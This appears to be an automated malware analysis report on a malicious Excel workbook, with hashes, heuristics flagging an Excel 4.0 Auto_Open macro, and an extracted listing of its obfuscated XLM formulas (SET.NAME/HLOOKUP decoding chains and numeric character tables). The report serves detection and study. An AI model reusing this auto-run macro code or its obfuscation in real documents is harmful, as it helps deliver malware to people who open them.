Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 de7b80964b2b0e6a…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:41 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: a2faaab5fbd8dfb1684b016c3c26bf97 SHA-1: a1787d7f49dd824eb0de4d0a5047f71ab9299838 SHA-256: de7b80964b2b0e6ac960ebfb31c2a8e2c9ad76bb447c51f573db8413a81f16d2
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6931 bytes
SHA-256: 14ecbbe6320af84151c1591b8ab7727cb99e245b6fbd5727543747c5341746e0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  fjzkQBGLnCe
' 0018     24 LABEL : Cell Value, String Constant - afZFhWWat len=0 
' 0018     25 LABEL : Cell Value, String Constant - AgnqXJMFKI len=0 
' 0018     26 LABEL : Cell Value, String Constant - AkJgFsYugmz len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E141 
' 0018     24 LABEL : Cell Value, String Constant - AVVUQSzpI len=0 
' 0018     23 LABEL : Cell Value, String Constant - GINgJwJJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - KFkZTfYSr len=0 
' 0018     20 LABEL : Cell Value, String Constant - LQGeK len=0 
' 0018     26 LABEL : Cell Value, String Constant - LUqWqrRomVX len=0 
' 0018     20 LABEL : Cell Value, String Constant - nBoQo len=0 
' 0018     20 LABEL : Cell Value, String Constant - OPSPz len=0 
' 0018     27 LABEL : Cell Value, String Constant - oVGzVqYjMeFu len=0 
' 0018     22 LABEL : Cell Value, String Constant - QBcwfDF len=0 
' 0018     27 LABEL : Cell Value, String Constant - RewKZGoAdEdM len=0 
' 0018     23 LABEL : Cell Value, String Constant - SpUTXJjv len=0 
' 0018     20 LABEL : Cell Value, String Constant - vhEEG len=0 
' 0018     21 LABEL : Cell Value, String Constant - WNWNfc len=0 
' 0018     20 LABEL : Cell Value, String Constant - wwZem len=0 
' 0018     25 LABEL : Cell Value, String Constant - XAQOxFccib len=0 
' 0018     27 LABEL : Cell Value, String Constant - XUGMKlYQrokX len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZUjRrmKHlqW len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  fjzkQBGLnCe,E54,"SET.NAME("afZFhWWat",0+VALUE("0"))",""
'  fjzkQBGLnCe,E57,"SET.NAME("WNWNfc",afZFhWWat)",""
'  fjzkQBGLnCe,E62,"SET.NAME("nBoQo",afZFhWWat)",""
'  fjzkQBGLnCe,E66,"SET.NAME("OPSPz",COUNTA(ZUjRrmKHlqW))",""
'  fjzkQBGLnCe,E68,"SET.NAME("KFkZTfYSr",COUNTA(LUqWqrRomVX))",""
'  fjzkQBGLnCe,E70,[],""
'  fjzkQBGLnCe,Q70,"",315.00000000000000000000
'  fjzkQBGLnCe,Q71,"",245.00000000000000000000
'  fjzkQBGLnCe,E72,"SET.NAME("RewKZGoAdEdM","")",""
'  fjzkQBGLnCe,Q72,"",-313.00000000000000000000
'  fjzkQBGLnCe,Q73,"",-541.00000000000000000000
'  fjzkQBGLnCe,Q74,"",-131.00000000000000000000
'  fjzkQBGLnCe,E75,"WNWNfc",""
'  fjzkQBGLnCe,Q75,"",131.00000000000000000000
'  fjzkQBGLnCe,E78,"SET.NAME("QBcwfDF",HLOOKUP("*",ZUjRrmKHlqW,WNWNfc,FALSE))",""
'  fjzkQBGLnCe,E82,"AVVUQSzpI",""
'  fjzkQBGLnCe,E84,"SET.NAME("XAQOxFccib",afZFhWWat)",""
'  fjzkQBGLnCe,E89,[],""
'  fjzkQBGLnCe,E94,"XAQOxFccib",""
'  fjzkQBGLnCe,E99,"AkJgFsYugmz",""
'  fjzkQBGLnCe,E101,"LQGeK",""
'  fjzkQBGLnCe,E104,"vhEEG",""
'  fjzkQBGLnCe,E106,"SET.NAME("AgnqXJMFKI",VALUE(HLOOKUP("*",LUqWqrRomVX,vhEEG,FALSE)))",""
'  fjzkQBGLnCe,E108,"oVGzVqYjMeFu",""
'  fjzkQBGLnCe,E113,"RewKZGoAdEdM",""
'  fjzkQBGLnCe,E116,"nBoQo",""
'  fjzkQBGLnCe,E119,NEXT(),""
'  fjzkQBGLnCe,E124,"SpUTXJjv",""
'  fjzkQBGLnCe,E127,[],""
'  fjzkQBGLnCe,E132,"XUGMKlYQrokX",""
'  fjzkQBGLnCe,E135,NEXT(),""
'  fjzkQBGLnCe,E137,RETURN(),""
'  fjzkQBGLnCe,E167,"SET.NAME("GINgJwJJ",E54)",""
'  fjzkQBGLnCe,E169,"ZUjRrmKHlqW",""
'  fjzkQBGLnCe,E172,"SET.NAME("LUqWqrRomVX",R62C13)",""
'  fjzkQBGLnCe,E177,"SET.NAME("XUGMKlYQrokX",184)",""
'  fjzkQBGLnCe,E179,"SET.NAME("wwZem",5)",""
'  fjzkQBGLnCe,E183,GINgJwJJ(),""
'  fjzkQBGLnCe,E184,HALT(),""

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